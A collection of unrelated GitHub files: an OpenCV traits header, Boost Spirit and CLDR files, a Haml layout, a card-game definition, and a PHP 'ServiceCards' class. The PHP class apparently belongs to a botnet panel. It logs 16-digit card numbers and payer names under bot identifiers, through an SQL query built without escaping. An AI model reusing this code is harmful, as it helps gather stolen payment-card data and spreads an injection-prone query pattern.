OPENCV_TRAITS_ENABLE_DEPRECATED typedef _Tp value_type; typedef value_type work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 1, depth = -1, channels = 1, fmt = 0, type = CV_MAKETYPE(depth, channels) }; #endif }; template<> class DataType<bool> { public: typedef bool value_type; typedef int work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_8U, channels = 1, fmt = (int)'u', type = CV_MAKETYPE(depth, channels) }; }; template<> class DataType<uchar> { public: typedef uchar value_type; typedef int work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_8U, channels = 1, fmt = (int)'u', type = CV_MAKETYPE(depth, channels) }; }; template<> class DataType<schar> { public: typedef schar value_type; typedef int work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_8S, channels = 1, fmt = (int)'c', type = CV_MAKETYPE(depth, channels) }; }; template<> class DataType<char> { public: typedef schar value_type; typedef int work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_8S, channels = 1, fmt = (int)'c', type = CV_MAKETYPE(depth, channels) }; }; template<> class DataType<ushort> { public: typedef ushort value_type; typedef int work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_16U, channels = 1, fmt = (int)'w', type = CV_MAKETYPE(depth, channels) }; }; template<> class DataType<short> { public: typedef short value_type; typedef int work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_16S, channels = 1, fmt = (int)'s', type = CV_MAKETYPE(depth, channels) }; }; template<> class DataType<int> { public: typedef int value_type; typedef value_type work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_32S, channels = 1, fmt = (int)'i', type = CV_MAKETYPE(depth, channels) }; }; template<> class DataType<float> { public: typedef float value_type; typedef value_type work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_32F, channels = 1, fmt = (int)'f', type = CV_MAKETYPE(depth, channels) }; }; template<> class DataType<double> { public: typedef double value_type; typedef value_type work_type; typedef value_type channel_type; typedef value_type vec_type; enum { generic_type = 0, depth = CV_64F, channels = 1, fmt = (int)'d', type = CV_MAKETYPE(depth, channels) }; }; /** @brief A helper class for cv::DataType The class is specialized for each fundamental numerical data type supported by OpenCV. It provides DataDepth<T>::value constant. */ template<typename _Tp> class DataDepth { public: enum { value = DataType<_Tp>::depth, fmt = DataType<_Tp>::fmt }; }; #ifdef OPENCV_TRAITS_ENABLE_DEPRECATED template<int _depth> class TypeDepth { #ifdef OPENCV_TRAITS_ENABLE_LEGACY_DEFAULTS enum { depth = CV_USRTYPE1 }; typedef void value_type; #endif }; template<> class TypeDepth<CV_8U> { enum { depth = CV_8U }; typedef uchar value_type; }; template<> class TypeDepth<CV_8S> { enum { depth = CV_8S }; typedef schar value_type; }; template<> class TypeDepth<CV_16U> { enum { depth = CV_16U }; typedef ushort value_type; }; template<> class TypeDepth<CV_16S> { enum { depth = CV_16S }; typedef short value_type; }; template<> class TypeDepth<CV_32S> { enum { depth = CV_32S }; typedef int value_type; }; template<> class TypeDepth<CV_32F> { enum { depth = CV_32F }; typedef float value_type; }; template<> class TypeDepth<CV_64F> { enum { depth = CV_64F }; typedef double value_type; }; #endif //! @} namespace traits { namespace internal { #define CV_CREATE_MEMBER_CHECK(X) \ template<typename T> class CheckMember_##X { \ struct Fallback { int X; }; \ struct Derived : T, Fallback { }; \ template<typename U, U> struct Check; \ typedef char CV_NO[1]; \ typedef char CV_YES[2]; \ template<typename U> static CV_NO & func(Check<int Fallback::*, &U::X> *); \ template<typename U> static CV_YES & func(...); \ public: \ typedef CheckMember_##X type; \ enum { value = sizeof(func<Derived>(0)) == sizeof(CV_YES) }; \ }; CV_CREATE_MEMBER_CHECK(fmt) CV_CREATE_MEMBER_CHECK(type) } // namespace internal template<typename T> struct Depth { enum { value = DataType<T>::depth }; }; template<typename T> struct Type { enum { value = DataType<T>::type }; }; /** Similar to traits::Type<T> but has value = -1 in case of unknown type (instead of compiler error) */ template<typename T, bool available = internal::CheckMember_type< DataType<T> >::value > struct SafeType {}; template<typename T> struct SafeType<T, false> { enum { value = -1 }; }; template<typename T> struct SafeType<T, true> { enum { value = Type<T>::value }; }; template<typename T, bool available = internal::CheckMember_fmt< DataType<T> >::value > struct SafeFmt {}; template<typename T> struct SafeFmt<T, false> { enum { fmt = 0 }; }; template<typename T> struct SafeFmt<T, true> { enum { fmt = DataType<T>::fmt }; }; } // namespace } // cv #endif // OPENCV_CORE_TRAITS_HPP
{ "pile_set_name": "Github" }
<?php class ServiceCards { private $bot, $system, $mysqli; function __construct(){ global $bot, $system, $mysqli; $this->bot = &$bot; $this->system = &$system; $this->db = &$mysqli; } function Save($value){ if(!empty($value['subsys'])){ if(!isset($value['cardnumber']) || empty($value['cardnumber'])){ $value['cardnumber'] = $value['cardnumber1'] . $value['cardnumber2'] . $value['cardnumber3'] . $value['cardnumber4']; unset($value['cardnumber1'], $value['cardnumber2'], $value['cardnumber3'], $value['cardnumber4']); } if(strlen($value['cardnumber']) != 16) return false; if(!isset($value['payername']) || empty($value['payername'])){ $value['payername'] = $value['payername1'] . $value['payername2']; unset($value['payername1'], $value['payername2']); } if(empty($value['payername'])) return false; $subsys = $value['subsys']; unset($value['subsys']); $value = array_map("urldecode", $value); $txt = ''; foreach($value as $key => $item){ $txt .= $key . ': ' . $item . "\r\n"; } return $this->db->query('INSERT DELAYED INTO bf_log_info (userid, prefix, uid, balance, log, subsys, system) VALUES ( \''.$this->bot->userid.'\', \''.$this->bot->prefix.'\', \''.$this->bot->uid.'\', \''.$value['summ'].'\', \''.$mysqli->real_escape_string($txt).'\', \''.$subsys.'\', \''.$this->system->nid.'\')'); }else{ return false; } } } RegisterService("ServiceCards");
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ldml SYSTEM "../../common/dtd/ldml.dtd"> <!-- Copyright © 1991-2014 Unicode, Inc. CLDR data files are interpreted according to the LDML specification (http://unicode.org/reports/tr35/) For terms of use, see http://www.unicode.org/copyright.html --> <ldml> <identity> <version number="$Revision: 10701 $"/> <generation date="$Date: 2014-07-30 13:14:57 -0700 (Wed, 30 Jul 2014) $"/> <language type="ghs"/> <script type="Latn"/> </identity> <layout> <orientation> <characterOrder>left-to-right</characterOrder> <lineOrder>top-to-bottom</lineOrder> </orientation> </layout> <characters> <exemplarCharacters draft="unconfirmed">[a b d {dz} e g h i k {kh} m n {ng} o p q r s t {tt} u]</exemplarCharacters> <exemplarCharacters type="auxiliary" draft="unconfirmed">[c f j l v w x y z]</exemplarCharacters> </characters> </ldml>
{ "pile_set_name": "Github" }
/*============================================================================= Copyright (c) 2001-2003 Joel de Guzman Copyright (c) 2001 Daniel Nuffer http://spirit.sourceforge.net/ Use, modification and distribution is subject to the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ #if !defined(BOOST_SPIRIT_PARSER_ID_HPP) #define BOOST_SPIRIT_PARSER_ID_HPP #if defined(BOOST_SPIRIT_DEBUG) # include <ostream> #endif /////////////////////////////////////////////////////////////////////////////// namespace boost { namespace spirit { /////////////////////////////////////////////////////////////////////////// // // parser_id class // /////////////////////////////////////////////////////////////////////////// class parser_id { public: parser_id() : p(0) {} explicit parser_id(void const* prule) : p(prule) {} parser_id(std::size_t l_) : l(l_) {} bool operator==(parser_id const& x) const { return p == x.p; } bool operator!=(parser_id const& x) const { return !(*this == x); } bool operator<(parser_id const& x) const { return p < x.p; } std::size_t to_long() const { return l; } private: union { void const* p; std::size_t l; }; }; #if defined(BOOST_SPIRIT_DEBUG) inline std::ostream& operator<<(std::ostream& out, parser_id const& rid) { out << rid.to_long(); return out; } #endif /////////////////////////////////////////////////////////////////////////// // // parser_tag_base class: base class of all parser tags // /////////////////////////////////////////////////////////////////////////// struct parser_tag_base {}; /////////////////////////////////////////////////////////////////////////// // // parser_address_tag class: tags a parser with its address // /////////////////////////////////////////////////////////////////////////// struct parser_address_tag : parser_tag_base { parser_id id() const { return parser_id(reinterpret_cast<std::size_t>(this)); } }; /////////////////////////////////////////////////////////////////////////// // // parser_tag class: tags a parser with an integer ID // /////////////////////////////////////////////////////////////////////////// template <int N> struct parser_tag : parser_tag_base { static parser_id id() { return parser_id(std::size_t(N)); } }; /////////////////////////////////////////////////////////////////////////// // // dynamic_parser_tag class: tags a parser with a dynamically changeable // integer ID // /////////////////////////////////////////////////////////////////////////// class dynamic_parser_tag : public parser_tag_base { public: dynamic_parser_tag() : tag(std::size_t(0)) {} parser_id id() const { return tag.to_long() ? tag : parser_id(reinterpret_cast<std::size_t>(this)); } void set_id(parser_id id) { tag = id; } private: parser_id tag; }; /////////////////////////////////////////////////////////////////////////////// }} // namespace boost::spirit #endif
{ "pile_set_name": "Github" }
!!! 5 %html{ lang: I18n.locale } %head %title - if content_for? :title = yield :title | = t(:product_name) = stylesheet_link_tag 'application', media: 'all' = javascript_include_tag 'application' = javascript_tag "lastKnownServerTime = '#{Time.now.to_i}'" = csrf_meta_tags %link{ rel: 'icon', href: image_url('diffux_d.png') } %meta{ name: 'viewport', content: 'initial-scale=1' } %body %nav.navbar.navbar-default{ role: 'navigation' } .navbar-header = link_to image_tag('diffux.svg'), root_path, class: 'navbar-brand' %button.navbar-toggle{ data: { toggle: 'collapse', target: '.navbar-collapse' } } %span.icon-bar %span.icon-bar %span.icon-bar .collapse.navbar-collapse %ul.nav.navbar-nav = menu_item Project.model_name.human(count: 2), projects_path = menu_item t(:about), static_pages_about_path .container - if notice .alert.alert-success= notice = yield = render 'shared/keyboard_help_modal'
{ "pile_set_name": "Github" }
name=Withering Boon image=https://magiccards.info/scans/en/mr/50.jpg value=3.514 rarity=U type=Instant cost={1}{B} ability=As an additional cost to cast SN, pay 3 life. effect=Counter target creature spell. timing=counter oracle=As an additional cost to cast Withering Boon, pay 3 life.\nCounter target creature spell.
{ "pile_set_name": "Github" }